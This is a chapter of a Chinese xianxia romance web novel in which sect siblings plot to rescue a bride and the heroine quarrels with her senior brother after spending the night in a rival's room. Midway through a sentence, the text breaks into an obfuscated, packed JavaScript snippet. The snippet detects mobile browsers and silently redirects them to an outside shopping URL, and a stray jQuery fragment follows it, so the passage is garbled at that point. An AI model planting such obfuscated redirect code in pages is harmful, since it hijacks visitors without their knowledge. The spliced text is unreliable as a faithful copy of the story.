夜幕下,新娘院落里守卫重重,但黑影掠过,众人仿佛看不见般,静默未动。
屋内,悄悄聚集的师门四人表情各异。
“简单。”闻人鹤侧倚窗台,目视天际,淡淡道,“我去杀了他就是。”
旁边椅子上坐着的慕时白他一眼,“你当堂堂巫氏的大少爷,是你家后院大白菜,说杀就杀?”
听到质疑的闻人鹤回过头,与她四目交汇。
见他缓缓抬起手,慕时心生提防,身体后倾。
他掌心的阴影覆下,她闭上眼,随后便……被轻敲了下眉心。
闻人鹤将视线从她身上挪开,没有出声。
“我都要被卖了,你们还在这打情骂俏!”鹿见汐气得叉腰。
慕时眼皮跳了跳,“话不可以乱说。”
“不会让你有事的。”闻人鹤自然地接过话茬,“你若害怕,可以让你师弟替你上花轿。”
褚今今顿时瞪大双眼,“我?”
他满腹狐疑,“是让我伪装成四师姐,在新婚夜去刺杀巫家大少爷吗?”
“这听起来倒是个办法。”慕时双手捧起脑袋,“怕就怕,还没到洞房花烛就露馅,毕竟巫家的人也不是傻子。”
闻人鹤望向窗外,“今晚守卫看似多了,但看管却比之前松懈了许多,我们进来得几乎毫无阻碍。”
褚今今一愣,回想片刻,“你这么一说,我刚刚挪动瓦片时不小心弄出了声响,但那底下的人一个都没发觉。”
“而且阿汐中蛊之事,慕时还没多问,那个姓巫的便主动和盘托出。”
慕时微怔,她当时有些气血上头,所以没多想。现在回头看,巫洵那般行事谨慎的人,那样不设防,确实古怪。
“你觉得他是故意的?可他图什么。”
“他或许是想博师妹欢心?”褚今今摸着下巴认真道,“从牢里出来的时候我就觉得他对师妹不一般。”
慕时轻哼,“就我能治他的伤,相当于捏着他的小命,他可不得把我供着。”
闻人鹤轻瞥,“什么时候把觉得所有人都喜欢你的毛病治好的。”
慕时:“……”
“他可不像会被威胁的人,你不要觉得自己有所倚仗,就对他掉以轻心。”
“我当然知道要提防他。”她不满道,“我又不是缺心眼。”
闻人鹤虽然没出声,可慕时却觉得他看过来的轻蔑眼神里明明白白写了四个字——你不是吗?
两人目光隐隐对峙,鹿见汐挤到两人中间,强行将他们的注意力转移到自己身上来。
“其他的都放一放,重点是我呀!明天就要启程去临疆了,我要怎么办?”
闻人鹤环顾一圈,“让今今替你上花轿,或者让他做你的贴身丫鬟寸步不离。”
“我……”褚今今欲言又止,憋红了脸,“若要伪装刺杀,师兄你去的胜算不是比我大吗?”
“因为不能保证巫洵说的是真话,所以这是下下之策,迫不得已才需你动手。”
褚今今面露为难,最后还是神情复杂地点了点头。
“我还有别的事要做。”闻人鹤看向慕时,问:“你是用什么身份混在巫家迎亲队伍里的,他的医师?”
慕时愣住,“不知道啊,没问。”
……
三更半夜,巫洵刚从旧伤复发的疼痛中缓过来,正要躺下休息,慕时便闯进来了。
她气势汹汹地跑来质问:“我何时成你房中宠侍了?”
不问不知道,一问才知,巫洵给她安的身份是他的帐中侍妾。
“城主府的人又不是傻子,就你这作派,给你安个下属身份,有人会信吗?”
此时见她,巫洵心怀怨气,“对我颐指气使,呼来喝去,不正是被宠坏后无法无天?这身份与你再相配不过。”
慕时语塞,好像有点道理。
她歪头瞧了眼他憔悴的脸色,哭笑不得,“不就挨了会儿疼吗?你怎么成这样了?”
巫洵气恼,“我倒是不知道自己做错了什么,要得你如此对待。”
“你……”慕时摸着下巴沉思,此人拿蛊喂月芽儿,害她倾家荡产,可谓罪大恶极。
不过这算礼尚往来,毕竟她也给他伤口动手脚了,再者他也补上了赔偿。
真论起来,他体贴周到,有求必应,对她还挺好的。
“我这不是来看望你了吗?”她关切地上前道。
巫洵侧目,“你确定你是来探望我的?”
慕时郑重其事地点了点头。
“既然你没有大碍,我就放心了。你好好休息,我先走了。”
“等等。”
巫洵目光躲闪,“你都清楚自己是什么身份了,这个点进了我的房门,又立刻出去,不知道的还以为我……我有多没用。”
慕时白他一眼,“那为了彰显你的厉害,我今晚还不能走了?”
“你若没有旁事……”他似乎底气不足,压低了声音,“留下又何妨。”
“行吧。”
巫洵愣住,没料到她如此爽快。
恰好有些事要打听,慕时原地转了一圈,见整个屋里最舒服的就是那张床,便客气道:“麻烦你从我的床上下来。”
巫洵:“……”
见了鬼,他竟老老实实起身,移至旁边的太师椅上,将床榻让给了她。
已经好几天没正常休息的慕时扑进被褥,把自己卷起来,打了个滚。
没一会儿她又钻出来,将被褥叠起,趴在上面,捧着脸望向他。
“巫洵,你跟你的兄长关系好吗?”
他颔首,“自然,不然兄长也不会准许我来替他迎亲。”
慕时长叹,“他都娶过两个了,都快四十了吧,还有脸娶小姑娘。”
巫洵:“……”
他清了清嗓子,认真道:“你若是想跟我聊天,能不能聊点我能说的。”
“那你之前那两个嫂子,哪个长得更好看?”
巫洵郁闷,“我不知道。”
“为什么?”慕时追问。
他如实道:“我只见过一个。”
慕时唇边勾起嘲讽的弧度,“第一个是私定终身,第二个才是明媒正娶,所以你没见过的是第一个,对吗?”
巫洵困惑,“你怎么知道?”
慕时无视他的疑问,“没见过也就罢了,那你知道她叫什么名字吗?”
他低眉沉默。
“她不是葬在你兄长所居的院子里吗?你没进过他住的地方?”
巫洵免不了疑心,她似乎对兄长之事很在意,而且态度恶劣。可除了为她那即将嫁入巫家的师姐抱不平外,他也想不出别的缘由。
“没有墓碑。”他诚然道。
那可不好办,慕时心想,万一挖到另一个坟了,多损阴德。
“连墓碑都不刻一个,还情深呢。”她毫不避讳地讥讽道。
巫洵无话可说。
慕时翻身仰躺,有些想不明白。这巫燕是亲手用一杯毒酒送走阿怜的,所谓爱意都是虚言。可他为什么还要大张旗鼓地把阿怜葬在身边?阿怜无亲无故,他就算彻底将她的存在抹去也很容易,但他还是给了她元妻之名。
阿怜也为此,哪怕死在他手里,哪怕他后来又娶了别人,也不怨恨他半分。
做人宽容到她这个程度,也算是奇迹。
她越想人越迷糊,这几日实在太累,眼皮打架。
近来急着表现的月芽儿从她荷包里探头,通过主仆契殷勤道:“主人你放心睡,我看着他,保证他不敢对你做什么!”
慕时其实也想知道,他用这么个蹩脚的理由留下她是为什么,毕竟他怎么看都不像是会纯为了占人便宜而多事的人。
昏昏欲睡,索性闭眼休憩,万一不小心真睡着了,明早再看月芽儿的记忆也行。
巫洵静坐在旁,注视良久。
他默默站起来,轻手轻脚前去点了安神香,又感觉风大,前去关窗。
只是刚至窗前,如鬼魅般的人影无声而至。
巫洵心惊,他竟然没有提前感受到有人靠近。
他表面镇定,“闻人兄怎会在此。”
“慕时呢?”闻人鹤脸色阴沉。
巫洵顿了顿,忽生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212598|134616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
恶趣,语无波澜道:“在我塌上。”
他的嘴角缓缓泛起温柔的笑意,又轻声道:“许是累了,睡着了。”
“砰!”
慕时惊醒,睁大了眼睛看向传来响声的地方。
窗台边的花盏碎了一地,可怜的花骨朵儿被土掩埋。
“你怎么……”慕时恍惚,他怎么露脸了?
闻人鹤神色晦暗,“出来。”
明明他的模样平静,语气寻常,慕时却莫名后背发凉。
她呆滞片刻,还是蹑手蹑脚走向门口。
巫洵并未阻拦,沉默地蹲下,收拾着地上破碎的花盏。
单薄的身影和怜惜的动作,令人瞧着无比寂寥。
“抱歉。”他说,“还是打扰到你休息了。”
正要跨过门槛的慕时顿住脚步,回头见他小心翼翼从拨开土,捧起脆弱的鸢尾花,心中咯噔。
“我有一株鸢尾,愿它永不凋零。”
慕时想起他的话,眉头紧锁,“不……不是这株吧。”
巫洵抬眸,笑容勉强道:“放心,不是。”
听他们说着自己听不懂的话,闻人鹤愈发烦躁,转身大步离开。
慕时拎着裙子小跑才能追上他。
“你走那么快做什么?还那么明目张胆,不怕被人发现了吗?”
她微微恼火,“叫我出来又不说事,你大半夜的装鬼玩?”
闻人鹤蓦然停下,没刹住脚的慕时撞上他的背,捂着额头更加气恼。
“实在抱歉。”闻人鹤转过身来,“打扰你们共处了。”
慕时愣住,继而叉腰,“你阴阳怪气什么?”
“你进去之后这么久没出来,你五师兄在外急得团团转,你倒好,直接在那睡下了。”
闻人鹤轻嗤,“你们什么时候关系好到可以同屋同榻,还是你随便到跟所有男人都能……”
慕时骤然冷了脸。
四目交汇,“都能什么?”
她勾起没有感情的笑容,“继续说啊。”
气氛突然紧张,本已决定要露面劝架的褚今今躲在门扉后不敢动弹。
闻人鹤别过脸,在宽袖下攥紧手心,不再吭声。
“怎么哑巴了?”慕时轻笑,自嘲般感慨,“看来我和师兄是天生不对付,没过几个时辰又要吵架。”
“我原以为,师兄与人相处不多,所以不善言辞。可师姐着急的时候师兄会安慰,师姐害怕的时候师兄也会安抚,而我要想从师兄嘴里听句好听的,还得靠自己厚着脸皮逼迫。”
她越说越觉得自己委屈,“你若真这么讨厌我,你就不要管我啊!是五师兄担心我,又不是你担心我,你多管闲事做什么?”
慕时转身欲走,忽又止步,“我跟谁共处都和你没关系,我就算马上要死了都跟你没关系!你连死都不怕,还怕什么不好跟师父交待!”
“师妹!”
褚今今追出来,在她走出几尺后拉出了她。
他左右为难,责怪又着急地看向闻人鹤,后者静静地望过来,像木头一样,没有多余的反应。
“哎呀!怎么就吵到这个地步了!”褚今今手足无措,“师兄他……他是怕那个姓巫的对你图谋不轨,又担心又生气才口不择言的。”
慕时甩开他,背对着他们,执意要走。
褚今今满脸无助,凑到她耳边小声劝慰,“师妹你就体谅一下吧,若是师兄和别的女子这么晚共处一室,你难道不生气吗?”
“他爱跟谁待很谁待,我生哪门子气?”
褚今今愣住,难道他判断失误了?
他不死心,更直白地问:“师兄若和别人结为道侣,你不难受?”
“谁会乐意跟他结为道侣?”
慕时扬声嘲讽,“某些人的嘴,不仅说话难听,还碰到什么都恶心。别人亲他一口,他转身就吐了,这谁能忍?”
褚今今:“……”
闻人鹤一字不落地听得清清楚楚,心口像被人揪了一下。
他终于有了动作,回身消失得无影无踪。
“完了。”褚今今面如死灰。